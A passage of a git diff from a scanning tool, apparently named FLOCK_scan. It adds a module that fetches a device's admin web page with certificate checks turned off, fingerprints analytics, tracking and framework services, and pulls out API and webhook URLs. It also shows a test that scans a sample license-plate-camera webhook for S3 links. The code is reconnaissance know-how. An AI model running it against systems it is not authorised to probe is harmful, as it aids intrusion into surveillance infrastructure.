"https://flock-hibiki-inbox.s3.us-east-1.amazonaws.com/policy/ORG/raw/CAPTURE.jpg?X-Amz-Signature=abc123&X-Amz-Expires=604800", + "imageExpiration": "2025-03-19T14:59:16Z", + "detailsUrl": "https://hotlist.flocksafety.com/img/tar-TOKEN", + "ocr": {"label": "ABC123", "state": "south_carolina"}, + "eventTime": "2025-03-12T14:59:05.000Z", + }) + + urls = scan_traffic_for_s3( + http_responses=[{"body": sample_webhook, "source": "webhook_test"}] + ) + print(format_s3_findings_terminal(urls)) diff --git a/modules/telemetry.py b/modules/telemetry.py new file mode 100644 index 0000000..0bff964 --- /dev/null +++ b/modules/telemetry.py @@ -0,0 +1,279 @@ +#!/usr/bin/env python3 +""" +telemetry.py — Analytics / third-party service detection for FLOCK_scan + +Scrapes the admin web UI body for: + - Google Analytics (UA-XXXXX-X, G-XXXXXXX) + - Google Tag Manager (GTM-XXXXXXX) + - Hotjar / FullStory / LuckyOrange (session replay) + - Segment / Amplitude / Mixpanel (product analytics) + - Sentry / Datadog / NewRelic (error monitoring) + - Facebook / Meta Pixel + - Microsoft Clarity + - HubSpot tracking + - LinkedIn Insight Tag + - Twitter / X Pixel + - TikTok Pixel + - Reddit Pixel + - Pinterest Tag + - Plausible / Fathom / Umami (privacy analytics) + - Stripe (payment presence) + +Usage: + from modules.telemetry import extract_telemetry, extract_all + telemetry = extract_telemetry(body_text) +""" + +import re +import json + + +# ── Regex patterns ────────────────────────────────────────────────── + +PATTERNS = { + # Google + "ga_ids": re.compile(r'(?:UA-\d{5,}-\d{1,2}|G-[A-Z0-9]{10,12})'), + "gtm_ids": re.compile(r'GTM-[A-Z0-9]{6,8}'), + "ga4_ids": re.compile(r'G-[A-Z0-9]{10,12}'), + "ads_ids": re.compile(r'AW-\d{9,12}'), + "floodlight_ids": re.compile(r'DC-\d{6,10}'), + + # Session recording / heatmaps + "has_hotjar": re.compile(r'hotjar', re.I), + "has_fullstory": re.compile(r'fullstory', re.I), + "has_luckyorange": re.compile(r'luckyorange|_lto', re.I), + "has_smartlook": re.compile(r'smartlook', re.I), + "has_mouseflow": re.compile(r'mouseflow', re.I), + "has_crazyegg": re.compile(r'crazyegg', re.I), + + # Product analytics + "has_segment": re.compile(r'segment\.(com|io)|analytics\.js|window\.analytics', re.I), + "has_amplitude": re.compile(r'amplitude\.com|amplitude\.init|api2\.amplitude', re.I), + "has_mixpanel": re.compile(r'mixpanel\.com|mixpanel\.init', re.I), + "has_heap": re.compile(r'heap\.app|heapanalytics', re.I), + "has_posthog": re.compile(r'posthog\.com|ph\.capture', re.I), + + # Error monitoring + "has_sentry": re.compile(r'sentry[-.]cdn\.com|@sentry/|sentryDsn|sentry\.io|Sentry\.init', re.I), + "has_datadog": re.compile(r'datadog|dd_RUM|@datadog', re.I), + "has_newrelic": re.compile(r'newrelic|NREUM', re.I), + "has_rollbar": re.compile(r'rollbar\.com|_rollbarConfig', re.I), + "has_bugsnag": re.compile(r'bugsnag\.com|Bugsnag\.start', re.I), + "has_logrocket": re.compile(r'logrocket\.com|LogRocket\.init', re.I), + + # Social / Pixels + "has_fb_pixel": re.compile(r'fbq\s*\(|facebook\.com/tr\?|fb_pixel|\.fb\b', re.I), + "has_linkedin_insight": re.compile(r'linkedin\.com/trk|_linkedin_partner_id|li_sugr', re.I), + "has_twitter_pixel": re.compile(r'twitter\.com/beacon|twq\s*\(|analytics\.twitter', re.I), + "has_tiktok_pixel": re.compile(r'tiktok\.com/pixel|ttq\s*\(|ttq\.track', re.I), + "has_reddit_pixel": re.compile(r'reddit\.com/static/pixel|rdt\s*\(|redditPixel', re.I), + "has_pinterest_tag": re.compile(r'pinterest\.com/ct/pinit|pinhtml|pintrk\s*\(', re.I), + "has_snap_pixel": re.compile(r'snap\.com/chat|snaptr\s*\(|snapchat.*pixel', re.I), + + # Marketing + "has_hubspot": re.compile(r'hubspot\.com|hs-script-loader|hbspt', re.I), + "has_marketo": re.compile(r'marketo\.com|mkto.*track', re.I), + "has_intercom": re.compile(r'intercom\.io|Intercom\(|widget\.intercom', re.I), + "has_drift": re.compile(r'drift\.com|drift\.load|Drift\s*\(', re.I), + + # Privacy-first analytics + "has_plausible": re.compile(r'plausible\.io|plausible\.js', re.I), + "has_fathom": re.compile(r'fathom\.com|cdn\.usefathom', re.I), + "has_umami": re.compile(r'umami\.is|umami\.js', re.I), + + # Payments + "has_stripe": re.compile(r'stripe\.com|Stripe\(|stripe\.js', re.I), + "has_braintree": re.compile(r'braintree|braintree\.js', re.I), + + # CDN / Performance + "has_cloudflare_analytics": re.compile(r'cloudflare\.com/analytics|cf-analytics', re.I), + "has_gtmetrix": re.compile(r'gtmetrix|yottaa', re.I), + + # A/B Testing + "has_optimizely": re.compile(r'optimizely\.com|optimizelyDataFile', re.I), + "has_vwo": re.compile(r'vwo\.com|_vwo_code', re.I), + "has_launchdarkly": re.compile(r'launchdarkly\.com|LDClient', re.I), + "has_google_optimize": re.compile(r'optimize\.google|googleoptimize', re.I), + + # JS Frameworks (helpful for identifying tech stack) + "has_react": re.compile(r'react\.development|react\.production|__REACT_DEVTOOLS', re.I), + "has_vue": re.compile(r'vue\.development|vue\.production|__VUE_DEVTOOLS', re.I), + "has_angular": re.compile(r'angular\.development|angular\.js', re.I), + "has_jquery": re.compile(r'jquery.*\.js', re.I), + "has_nextjs": re.compile(r'__NEXT_DATA__|next\.js|_next/static', re.I), + "has_gatsby": re.compile(r'gatsby\.js|___GATSBY', re.I), + + # API endpoints extracted from JS + "api_endpoints": re.compile( + r'https?://[a-zA-Z0-9.-]+\.(?:api|v1|v2|v3|rest|graphql|trpc)' + r'(?:\.[a-z]+)*/[a-zA-Z0-9/_.-]*' + ), + "webhook_urls": re.compile(r'https?://hooks\.(?:slack|zapier|stripe|discord)\.com/'), +} + + +def extract_telemetry(body): + """ + Scan an HTML/JS body string for telemetry/analytics services. + Returns a dict with boolean flags for each service + extracted IDs. + """ + if not body: + return {} + + result = {} + + # Simple boolean matches + for key, pattern in PATTERNS.items(): + if key.startswith("has_"): + result[key] = bool(pattern.search(body)) + + # ID extraction (lists) + result["ga_ids"] = PATTERNS["ga_ids"].findall(body) + result["gtm_ids"] = PATTERNS["gtm_ids"].findall(body) + result["ga4_ids"] = PATTERNS["ga4_ids"].findall(body) + result["ads_ids"] = PATTERNS["ads_ids"].findall(body) + result["floodlight_ids"] = PATTERNS["floodlight_ids"].findall(body) + + # API/webhook endpoints found in JS + result["api_endpoints"] = list(set(PATTERNS["api_endpoints"].findall(body))) + result["webhook_urls"] = list(set(PATTERNS["webhook_urls"].findall(body))) + + # JS framework version extraction (simple substring) + if result.pop("has_react", False): + m = re.search(r'react@(\d+\.\d+\.\d+)', body) + result["react_version"] = m.group(1) if m else "unknown" + if result.pop("has_vue", False): + m = re.search(r'vue@(\d+\.\d+\.\d+)', body) + result["vue_version"] = m.group(1) if m else "unknown" + if result.pop("has_jquery", False): + m = re.search(r'jquery[.-](\d+\.\d+\.\d+)', body) + result["jquery_version"] = m.group(1) if m else "unknown" + if result.pop("has_nextjs", False): + m = re.search(r'__NEXT_DATA__.*?"buildId":"([^"]+)"', body) + result["next_build_id"] = m.group(1) if m else "unknown" + + return result + + +def extract_telemetry_from_url(host, port=80, timeout=5, use_https=False): + """ + Convenience: fetch the page and extract telemetry. + """ + import requests + from requests.packages.urllib3.exceptions import InsecureRequestWarning + requests.packages.urllib3.disable_warnings(InsecureRequestWarning) + + scheme = "https" if use_https or port == 443 else "http" + url = f"{scheme}://{host}:{port}/" + + try: + r = requests.get( + url, + timeout=timeout, + verify=False, + headers={"User-Agent": "FLOCK_scan/3.0"}, + ) + return extract_telemetry(r.text) + except Exception: + return {} + + +def summarize_telemetry(telemetry): + """ + Given a telemetry dict, return a human-readable summary string. + """ + if not telemetry: + return "No telemetry data" + + parts = [] + + # IDs + if telemetry.get("ga_ids"): + parts.append(f"GA: {', '.join(telemetry['ga_ids'])}") + if telemetry.get("gtm_ids"): + parts.append(f"GTM: {', '.join(telemetry['gtm_ids'])}") + if telemetry.get("ads_ids"): + parts.append(f"Ads: {', '.join(telemetry['ads_ids'])}") + + # Session recording + for svc in ["hotjar", "fullstory", "luckyorange", "smartlook", "mouseflow"]: + if telemetry.get(f"has_{svc}"): + parts.append(svc.title()) + + # Product analytics + for svc in ["segment", "amplitude", "mixpanel", "heap", "posthog"]: + if telemetry.get(f"has_{svc}"): + parts.append(svc.title()) + + # Error monitoring + for svc in ["sentry", "datadog", "newrelic", "rollbar", "bugsnag", "logrocket"]: + if telemetry.get(f"has_{svc}"): + parts.append(svc.title()) + + # Social pixels + for svc in ["fb_pixel", "linkedin_insight", "twitter_pixel", "tiktok_pixel", + "reddit_pixel", "pinterest_tag", "snap_pixel"]: + if telemetry.get(f"has_{svc}"): + label = svc.replace("_pixel", "").replace("_tag", "").replace("_insight", "") + parts.append(f"{label.upper()} pixel") + + # JS framework + for framework in ["react", "vue", "angular", "nextjs"]: + key = f"has_{framework}" + ver_key = f"{framework}_version" + if telemetry.get(key) or telemetry.get(ver_key): + ver = telemetry.get(ver_key, "") + label = framework.title() if not ver else f"{framework.title()} ({ver})" + parts.append(label) + + if telemetry.get("api_endpoints"): + parts.append(f"{len(telemetry['api_endpoints'])} API endpoints found") + + return ", ".join(parts) if parts else "None detected" + + +# ── CLI test ───────────────────────────────────────────────────────── + +if __name__ == "__main__": + import sys + + if len(sys.argv) > 1: + target = sys.argv[1] + port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 + https = "-s" in sys.argv or "--https" in sys.argv + result = extract_telemetry_from_url(target, port=port, use_https=https) + print(json.dumps(result, indent=2, default=str)) + print() + print("Summary:", summarize_telemetry(result)) + else: + sample = """ + + + + + + """ + t = extract_telemetry(sample) + print(json.dumps(t, indent=2, default=str)) + print() + print("Summary:", summarize_telemetry(t))